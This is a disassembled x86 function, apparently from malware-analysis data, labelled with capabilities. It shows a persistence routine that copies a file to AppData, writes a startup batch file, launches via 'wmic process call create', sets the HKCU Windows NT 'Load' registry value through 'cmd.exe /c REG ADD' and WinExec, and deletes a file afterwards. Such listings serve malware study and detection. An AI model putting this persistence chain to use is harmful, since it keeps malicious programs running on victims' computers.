Function at 0x4126dc
Capabilities:
Bypass mark of the web
Copy file
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], edi
call fcn.004109a0
push 0xa
pop edx
lea ecx, [ebp - 0x28]
call fcn.004035b9
push ecx
push ecx
lea eax, [edi + 0x10]
push eax
push ecx
mov ecx, edi
call fcn.00412514
mov ecx, edi
mov esi, eax
call fcn.00412554
xor ebx, ebx
test esi, esi
je 0x4127dc
cmp dword [ebp + 8], ebx
je 0x4127dc
mov edx, dword [edi + 0xc]
lea ecx, [ebp - 0x18]
lea esi, [edi + 0x20]
call fcn.00410c8a
push eax
mov ecx, esi
call fcn.00403549
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
mov ecx, esi
call fcn.00410c3e
lea eax, [edi + 0x4c]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040373f
push 0x4176a4
mov ecx, esi
call fcn.0040357c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.00403447
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
push ebx
push dword [esi]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x412a66
push ecx
push ecx
push esp
mov ecx, esi
call fcn.00403333
push ecx
push ecx
push esp
lea ecx, [edi + 0x30]
call fcn.00405a61
lea ecx, [ebp - 0x24]
call fcn.004061f0
add esp, 0x10
lea esi, [edi + 0x10]
mov ecx, edi
push ebx
push 0xf003f
push esi
push closesocket
call fcn.00412612
push 3
lea eax, [ebp - 0x24]
mov ecx, edi
push eax
lea eax, [edi + 0x18]
push eax
call fcn.004125df
lea ecx, [ebp - 0x24]
call fcn.00403148
jmp 0x4127df
lea esi, [edi + 0x10]
cmp dword [edi], ebx
jne 0x4127f6
push ebx
push 0xf003f
push esi
push closesocket
mov ecx, edi
call fcn.00412612
cmp dword [ebp + 0x10], ebx
je 0x41297c
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push 0x417570
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc]
call fcn.004036f7
push str.programs.bat
lea ecx, [ebp - 0xc]
call fcn.0040357c
push str.for__F__usebackq_tokens____A_in___
lea ecx, [ebp - 8]
call fcn.004036f7
push str.___do___A
mov ebx, str.:start
lea ecx, [ebp - 8]
push ebx
push dword [ebp - 0xc]
call fcn.0040357c
mov ecx, eax
call fcn.0040357c
mov ecx, eax
call fcn.0040357c
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 8]
call fcn.00403666
lea ecx, [ebp - 0xc]
mov edi, dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.00403666
lea ecx, [ebp - 8]
mov esi, dword [eax]
call fcn.00403373
push eax
mov edx, edi
mov ecx, esi
call fcn.004133b6
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
mov ecx, dword [ebp - 0x20]
call fcn.00405feb
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov edx, dword [eax + 0xc]
call fcn.00410c8a
lea ecx, [ebp - 0x18]
mov dword [esp], str.:ApplicationData
call fcn.0040357c
push str.wmic_process_call_create__
lea ecx, [ebp + 0x10]
call fcn.004036f7
mov esi, dword [ebp - 0x18]
lea ecx, [ebp + 0x10]
push 0x41a074
push esi
call fcn.0040357c
mov ecx, eax
call fcn.0040357c
push ebx
lea ecx, [ebp - 0xc]
call fcn.0040357c
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp + 0x10]
call fcn.00403666
lea ecx, [ebp - 0xc]
mov ebx, dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.00403666
lea ecx, [ebp + 0x10]
mov edi, dword [eax]
call fcn.00403373
push eax
mov edx, ebx
mov ecx, edi
call fcn.004133b6
pop ecx
mov ecx, dword [ebp - 0x20]
call fcn.00405feb
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
xor ebx, ebx
push ebx
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [ebp + 0x10]
test eax, eax
jne 0x412957
call fcn.00405feb
mov ecx, esi
mov dword [ebp + 0x10], ebx
call fcn.00405feb
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ebx
jmp 0x412a61
call fcn.00405feb
mov ecx, esi
mov dword [ebp + 0x10], ebx
call fcn.00405feb
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ebx
call fcn.00405feb
mov edi, dword [ebp - 0x14]
cmp dword [ebp + 0xc], 0
je 0x412a26
cmp dword [ebp + 8], 0
lea esi, [edi + 0x20]
mov dword [ebp + 0x10], esi
jne 0x41299d
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
call fcn.00403549
lea eax, [ebp + 8]
mov ecx, esi
push eax
call fcn.00403666
mov ecx, dword [ebp + 8]
call fcn.00405feb
push 0x200
call fcn.00401085
push 0x68
mov edi, eax
push str.cmd.exe__c_REG_ADD__HKCUSoftwareMicrosoftWindows_NTCurrentVersionWindows___f__v_Load__t_REG_SZ__d__
push edi
call fcn.0040102c
add esp, 0x10
lea eax, [ebp + 8]
mov ecx, esi
push eax
call fcn.00403666
push dword [eax]
call fcn.00401133
pop ecx
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.00405feb
mov ecx, dword [ebp + 0x10]
lea eax, [ebp + 8]
push eax
call fcn.00403666
push esi
push dword [eax]
lea eax, [edi + 0x68]
push eax
call fcn.0040102c
mov ecx, dword [ebp + 8]
call fcn.00405feb
push 2
lea eax, [edi + 0x68]
add eax, esi
push 0x41a0ec
push eax
call fcn.0040102c
add esp, 0x18
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp + 8]
push dword [eax + 0x20]
call fcn.004036f7
push 0x41a0f0
lea ecx, [ebp + 0x10]
call fcn.004036f7
push eax
lea ecx, [ebp + 8]
call fcn.00403447
mov ecx, dword [ebp + 0x10]
call fcn.00405feb
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp + 8]
xor ebx, ebx
inc ebx
call fcn.00405feb
mov ecx, dword [ebp - 0x28]
call fcn.00405feb
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0xc